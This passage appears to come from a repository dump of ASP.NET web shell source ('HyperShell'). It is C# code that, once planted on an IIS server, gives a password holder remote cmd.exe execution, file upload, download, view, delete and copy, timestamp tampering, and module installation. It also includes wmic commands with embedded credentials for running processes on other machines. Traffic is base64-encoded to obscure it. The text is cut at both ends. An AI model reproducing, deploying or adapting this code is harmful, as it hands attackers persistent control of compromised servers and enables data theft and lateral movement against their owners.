DataGrid();\r\n    //                                System.Web.UI.WebControls.DataList list = new System.Web.UI.WebControls.DataList();\r\n    //                                grid.DataSource = dt;\r\n    //                                grid.DataBind();\r\n    //                                StringWriter sw = new StringWriter();\r\n    //                                HtmlTextWriter htw = new HtmlTextWriter(sw);\r\n    //                                HtmlForm form = new HtmlForm();\r\n    //                                form.Attributes[\"runat\"] = \"server\";\r\n    //                                form.Controls.Add(grid);\r\n    //                                this.Controls.Add(form);\r\n    //                                Form.RenderControl(htw);\r\n    //                                l(sw.ToString());\r\n    //                            }\r\n    //                            catch (Exception ex)\r\n    //                            {\r\n    //                                l(\"Error : <br>\" + ex.ToString());\r\n    //                            }\r\n    //                        }\r\n    //                        con.Close();\r\n    //                    }\r\n    //                }\r\n    //            }\r\n    //        }\r\n    //        catch (Exception ex)\r\n    //        {\r\n    //            l(ex.Message);\r\n    //        }\r\n    //    }\r\n    //    string x(string f){return Encoding.UTF8.GetString(Convert.FromBase64String(f));}\r\n    void l(string ll) { response(ll); }\r\n\r\n    void upload(HttpPostedFile upl, string sav, string nen)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (upl != null && upl.ContentLength > 0)\r\n            {\r\n                string fn = string.IsNullOrEmpty(nen) ? System.IO.Path.GetFileName(upl.FileName) : nen;\r\n                string SaveLocation = System.IO.Path.HasExtension(sav) ? sav : sav.TrimEnd('\\\\') + \"\\\\\" + fn;\r\n                upl.SaveAs(SaveLocation);\r\n                ret = \"File uploaded successfuly : \" + SaveLocation;\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n\r\n    void getLoc()\r\n    {\r\n        response(Server.MapPath(string.Empty) + \"\\\\\");\r\n    }\r\n\r\n    void download(string don)\r\n    {\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(don))\r\n            {\r\n                byte[] f=System.IO.File.ReadAllBytes(don);\r\n                Response.Clear();\r\n                Response.ClearHeaders();\r\n                Response.ClearContent();\r\n                Response.AppendHeader(\"content-length\", f.Length.ToString());\r\n                Response.ContentType = \"application/octet-stream\";\r\n                Response.AppendHeader(\"content-disposition\", \"attachment; filename=\" + don.Substring(don.LastIndexOf('\\\\') + 1));\r\n                Response.BinaryWrite(f);\r\n                Response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch\r\n        {\r\n        }\r\n    }\r\n\r\n    string exec(string cmd,string pro = \"\")\r\n    {\r\n        System.Diagnostics.Process n=new System.Diagnostics.Process();\r\n        n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);\r\n        n.StartInfo.UseShellExecute=false;\r\n        n.StartInfo.RedirectStandardInput=true;\r\n        n.StartInfo.RedirectStandardOutput=true;\r\n        n.StartInfo.RedirectStandardError=true;\r\n        n.StartInfo.CreateNoWindow=true;\r\n        string o=null;\r\n        n.Start();\r\n        n.StandardInput.WriteLine(cmd);\r\n        n.StandardInput.WriteLine(\"exit\");\r\n        o =n.StandardOutput.ReadToEnd();\r\n        n.WaitForExit();\r\n        n.Close();\r\n        return o;\r\n    }\r\n\r\n    void fnCmdB(string cmd)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            string o = exec(cmd);\r\n\r\n            o = o.Remove(0, o.IndexOf(Environment.NewLine) + 2);\r\n            o = o.Remove(0, o.IndexOf(Environment.NewLine) + 2);\r\n            o = o.Remove(0, o.IndexOf(Environment.NewLine));\r\n            o = o.Remove(o.LastIndexOf(Environment.NewLine));\r\n            o = o.Remove(o.LastIndexOf(Environment.NewLine) + 2);\r\n\r\n            ret = HttpUtility.HtmlEncode(o);\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n\r\n\r\n    void gsize(string addr)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            hasErrorInGetSize = false;\r\n            long size = GetDirSize(new DirectoryInfo(addr));\r\n            ret = sizeFix(size);\r\n\r\n            if (hasErrorInGetSize && sizelvl == 0)\r\n                ret = sizeError;\r\n            else if(hasErrorInGetSize)\r\n                ret = \"!\" + ret;\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n\r\n    void view(string path)\r\n    {\r\n        string ret = \"You are viewing the contents of this file : \" + path + Environment.NewLine;\r\n        try\r\n        {\r\n            ret += File.ReadAllText(path);\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n\r\n    void delete(string path)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            File.Delete(path);\r\n            ret = string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",\r\n                tb(string.Format(\"File '{0}' successfuly deleted{1}\", path, Environment.NewLine)),\r\n                tb(getDirectoryInfo(Path.GetDirectoryName(path))));\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n\r\n    void rename(string oldName, string newName)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (newName.EndsWith(\"\\\\\"))\r\n                newName += Path.GetFileName(oldName);\r\n            File.Move(oldName, newName);\r\n            ret = string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",\r\n                tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\", oldName, newName, Environment.NewLine)),\r\n                tb(getDirectoryInfo(Path.GetDirectoryName(oldName))));\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n    void copy(string oldName, string newName)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (newName.EndsWith(\"\\\\\"))\r\n                newName += Path.GetFileName(oldName);\r\n            File.Copy(oldName, newName);\r\n            ret = string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",\r\n                tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\", oldName, newName, Environment.NewLine)),\r\n                tb(getDirectoryInfo(Path.GetDirectoryName(oldName))));\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (address.ToLower() == \"root\")\r\n            {\r\n                ret = \"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";// in javascript json parser two \\ = one \\\r\n                string netUse = exec(\"net use\");\r\n                string[] lines = netUse.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines)\r\n                {\r\n                    if (item.ToLower().StartsWith(\"ok\"))\r\n                    {\r\n                        int index = item.IndexOf(\"\\\\\\\\\");\r\n                        ret += \",{\\\"name\\\":\\\"\\\\\\\\\" + item.Substring(index, item.IndexOf('\\\\', index + 2) - index) + \"\\\"}\";\r\n                    }\r\n                }\r\n                ret += \"]}\";\r\n            }\r\n            else\r\n            {\r\n                if (address.StartsWith(\"\\\\\\\\\") && address.Trim('\\\\').Split('\\\\').Count() == 1) // \\\\localhost\r\n                {\r\n                    string tmp = address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp == \"\\\\\\\\localhost\")\r\n                    {\r\n                        ret = \"{\\\"dir\\\":[\";\r\n                        bool isStart = false;\r\n                        foreach (DriveInfo item in DriveInfo.GetDrives())\r\n                        {\r\n                            if (item.IsReady)\r\n                            {\r\n                                if (isStart)\r\n                                    ret += \",\";\r\n                                ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\"\r\n                                    , item.Name.TrimEnd('\\\\').TrimEnd(':') + \"$\"\r\n                                    , item.TotalSize\r\n                                    , item.TotalFreeSpace\r\n                                    , \"[\" + sizeFix(item.TotalFreeSpace) + \"] free of [\" + sizeFix(item.TotalSize) + \"]\"\r\n                                    , item.DriveFormat\r\n                                    , item.DriveType);\r\n                                isStart = true;\r\n                            }\r\n                        }\r\n                        ret += \"]}\";\r\n                    }\r\n                    else\r\n                    {\r\n                        //wmic logicaldisk get Caption,FileSystem,Size,FreeSpace,Description\r\n                        //wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c {3} >> {4}\"\" 2>&1\r\n                        //wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c wmic logicaldisk get Caption,FileSystem,Size,FreeSpace,Description >> {4}\"\" 2>&1 \r\n                        //wmic /node:localhost process call create \"\"cmd.exe /c wmic logicaldisk get Caption,FileSystem,Size,FreeSpace,Description >> c:\\windows\\temp\\abcd.txt\"\" 2>&1 \r\n                        if (!string.IsNullOrEmpty(adminU) && !string.IsNullOrEmpty(adminP))\r\n                        {\r\n                            //wmic /node:localhost process call create \"\"cmd.exe /c wmic logicaldisk get Caption,FileSystem,Size,FreeSpace,Description >> c:\\windows\\temp\\abcd.txt\"\" 2>&1 \r\n                            //Caption\r\n                            //C:\r\n                            //D:\r\n                            //E:\r\n                            //Caption\r\n                            //C:\r\n                            //D:\r\n                            //E:\r\n                            //FileSystem\r\n                            //NTFS\r\n                            //NTFS\r\n\r\n                            //Size\r\n                            //128842870784\r\n                            //164711362560\r\n\r\n                            //FreeSpace\r\n                            //99978657792\r\n                            //161243799552\r\n\r\n                            //Description\r\n                            //Local Fixed Disk\r\n                            //Local Fixed Disk\r\n                            //CD-ROM Disc\r\n\r\n                            //type \\\\bdfdc\\c$\\windows\\temp\\KMSHFX0023.tmp 2>&1\r\n                            //del \\\\bdfdc\\c$\\windows\\temp\\KMSHFX0023.tmp 2>&1\r\n\r\n                            //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Caption\" 2>&1\r\n                            //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get FileSystem\" 2>&1\r\n                            //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Size\" 2>&1\r\n                            //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get FreeSpace\" 2>&1\r\n                            //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Description\" 2>&1\r\n\r\n                            //Access  Availability  BlockSize  Caption  Compressed  ConfigManagerErrorCode  ConfigManagerUserConfig  CreationClassName  Description       DeviceID  DriveType  ErrorCleared  ErrorDescription  ErrorMethodology  FileSystem  FreeSpace     InstallDate  LastErrorCode  MaximumComponentLength  MediaType  Name  NumberOfBlocks  PNPDeviceID  PowerManagementCapabilities  PowerManagementSupported  ProviderName  Purpose  QuotasDisabled  QuotasIncomplete  QuotasRebuilding  Size          Status  StatusInfo  SupportsDiskQuotas  SupportsFileBasedCompression  SystemCreationClassName  SystemName  VolumeDirty  VolumeName  VolumeSerialNumber\r\n                            //0                                C:       FALSE                                                        Win32_LogicalDisk  Local Fixed Disk  C:        3                                                            NTFS        99978657792                               255                     12         C:                                                                                                               TRUE            FALSE             FALSE             128842870784                      TRUE                TRUE                          Win32_ComputerSystem     BDFDC       FALSE                    54250D25\r\n                            //0                                D:       FALSE                                                        Win32_LogicalDisk  Local Fixed Disk  D:        3                                                            NTFS        161243799552                              255                     12         D:                                                                                                               TRUE            FALSE             FALSE             164711362560                      TRUE                TRUE                          Win32_ComputerSystem     BDFDC       FALSE                    6C7130E4\r\n                            //                                 E:                                                                    Win32_LogicalDisk  CD-ROM Disc       E:        5                                                                                                                                          11         E:                                                                                                                                                                                                                                                       Win32_ComputerSystem     BDFDC\r\n\r\n                            tmp = tmp.TrimStart('\\\\');\r\n                            exec(string.Format(@\"del \\\\{0}\\c$\\windows\\temp\\KMSHFX0023.tmp 2>&1\", tmp));\r\n                            exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Caption\"\" 2>&1\", tmp, adminU, adminP));\r\n                            exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get FileSystem\"\" 2>&1\", tmp, adminU, adminP));\r\n                            exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Size\"\" 2>&1\", tmp, adminU, adminP));\r\n                            exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get FreeSpace\"\" 2>&1\", tmp, adminU, adminP));\r\n                            exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Description\"\" 2>&1\", tmp, adminU, adminP));\r\n                            System.Threading.Thread.Sleep(1000);\r\n                            string[] logicalDisk = File.ReadAllLines(string.Format(@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023.tmp\", tmp));\r\n                            System.Threading.Thread.Sleep(500);\r\n                            exec(string.Format(@\"del \\\\{0}\\c$\\windows\\temp\\KMSHFX0023.tmp 2>&1\", tmp));\r\n\r\n                            List<string> diskTemp = new List<string>();\r\n                            bool firstTime = true;\r\n                            int diskID = 0;\r\n                            foreach (string item in logicalDisk)\r\n                            {\r\n                                if (item == \"Caption\")\r\n                                {\r\n                                    continue;\r\n                                }\r\n                                else if (item == \"FileSystem\" || item == \"Size\" || item == \"FreeSpace\" || item == \"Description\")\r\n                                {\r\n                                    firstTime = false;\r\n                                    diskID = 0;\r\n                                    continue;\r\n                                }\r\n\r\n                                if (firstTime)\r\n                                    diskTemp.Add(item);\r\n                                else\r\n                                    diskTemp[diskID++] += \"|\" + item;\r\n                            }\r\n\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (string item in diskTemp)\r\n                            {\r\n                                string[] diskInfo = item.Split('|');\r\n\r\n                                long TotalSize = long.Parse(diskInfo[2]);\r\n                                long TotalFreeSpace = long.Parse(diskInfo[3]);\r\n\r\n                                if (isStart)\r\n                                    ret += \",\";\r\n                                ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\"\r\n                                    , diskInfo[0].TrimEnd('\\\\').TrimEnd(':') + \"$\"\r\n                                    , TotalSize\r\n                                    , TotalFreeSpace\r\n                                    , \"[\" + sizeFix(TotalFreeSpace) + \"] free of [\" + sizeFix(TotalSize) + \"]\"\r\n                                    , diskInfo[1]\r\n                                    , diskInfo[4]);\r\n                                isStart = true;\r\n                            }\r\n                            ret += \"]}\";\r\n                        }\r\n                        else\r\n                            ret = \"Error : Admin Username or Password is empty\";\r\n                    }\r\n                }\r\n                else // \\\\localhost\\c$\\\r\n                {\r\n                    FileAttributes attr = File.GetAttributes(address);\r\n                    if ((attr & FileAttributes.Directory) == FileAttributes.Directory)\r\n                    {\r\n                        DirectoryInfo dirInfo = new DirectoryInfo(address);\r\n                        ret = \"{\" + string.Format(\"{0},{1}\", createJsonDirectory(dirInfo.GetDirectories()), createJsonFile(dirInfo.GetFiles())) + \"}\";\r\n                    }\r\n                }\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        return ret;\r\n    }\r\n    void exp(string exadd)\r\n    {\r\n        string ret = \"Error : -\";\r\n\r\n        ret = getDirectoryInfo(exadd);\r\n\r\n        response(ret);\r\n    }\r\n\r\n    bool hasErrorInGetSize = false;\r\n    int sizelvl = 0;\r\n    string sizeError;\r\n    long GetDirSize(DirectoryInfo d)\r\n    {\r\n        long size = 0;\r\n\r\n        try\r\n        {\r\n            FileInfo[] fis = d.GetFiles();\r\n            foreach (FileInfo fi in fis)\r\n            {\r\n                size += fi.Length;\r\n            }\r\n\r\n            sizelvl++;\r\n\r\n            DirectoryInfo[] dis = d.GetDirectories();\r\n            foreach (DirectoryInfo di in dis)\r\n            {\r\n                size += GetDirSize(di);\r\n            }\r\n        }\r\n        catch (UnauthorizedAccessException ex)\r\n        {\r\n            sizeError = \"Error : \" + ex.Message;\r\n            hasErrorInGetSize = true;\r\n        }\r\n\r\n        return size;\r\n    }\r\n    string createJsonDirectory(DirectoryInfo[] dir)\r\n    {\r\n        string json = \"\\\"dir\\\":[\";\r\n        for (int i = 0; i < dir.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += string.Format(\"{{\\\"name\\\":\\\"{0}\\\"}}\", dir[i].Name);\r\n            //json += \"\\\"\" + dir[i].Name + \"\\\"\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(FileInfo[] file)\r\n    {\r\n        string json = \"\\\"file\\\":[\";\r\n        for (int i = 0; i < file.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\"}}\",file[i].Name,sizeFix(file[i].Length));\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size)\r\n    {\r\n        double s = size;\r\n        if (s < 1024) return s + \" B\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s, 2) + \" KB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s, 2) + \" MB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s, 2) + \" GB\";\r\n        s = s / 1024;\r\n        return Math.Round(s, 2) + \" TB\";\r\n    }\r\n\r\n    void response(string res)\r\n    {\r\n        Response.Clear();\r\n        Response.Write(tb(res));\r\n        Response.Headers.Add(\"Access-Control-Allow-Origin\", \"*\");\r\n        Response.Flush();\r\n        Response.SuppressContent = true;\r\n        ApplicationInstance.CompleteRequest();\r\n    }\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal/StableVersions/HighShellServer.aspx.961021.back",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"upl\"],fb(t[\"sav\"]),fb(t[\"nen\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ncase method.checkModules:response(checkModules());break;\r\ncase method.installModule:installModule(HttpContext.Current.Request.Files[\"mfile\"], fb(t[\"mname\"]));break;\r\ncase method.uninstallModule:uninstallModule(fb(t[\"mname\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\",\\\"module\\\":\\\"{2}\\\"}}\", login(p).ToString(),tb(getLoc()),tb(checkModules()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void upload(HttpPostedFile upl,string sav,string nen){string ret=\"Error : -\";try{if(upl != null && upl.ContentLength>0){string fn=string.IsNullOrEmpty(nen)?System.IO.Path.GetFileName(upl.FileName): nen;string SaveLocation=System.IO.Path.HasExtension(sav)?sav:sav.TrimEnd('\\\\')+\"\\\\\"+fn;upl.SaveAs(SaveLocation);ret=\"File uploaded successfuly : \"+SaveLocation;}}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\n    void downloadTest(string don)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(don))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(don, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", don);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string don, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(don)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));\r\n                response.WriteFile(don);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }\r\n    string exec(string cmd,string pro=\"\"){System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& 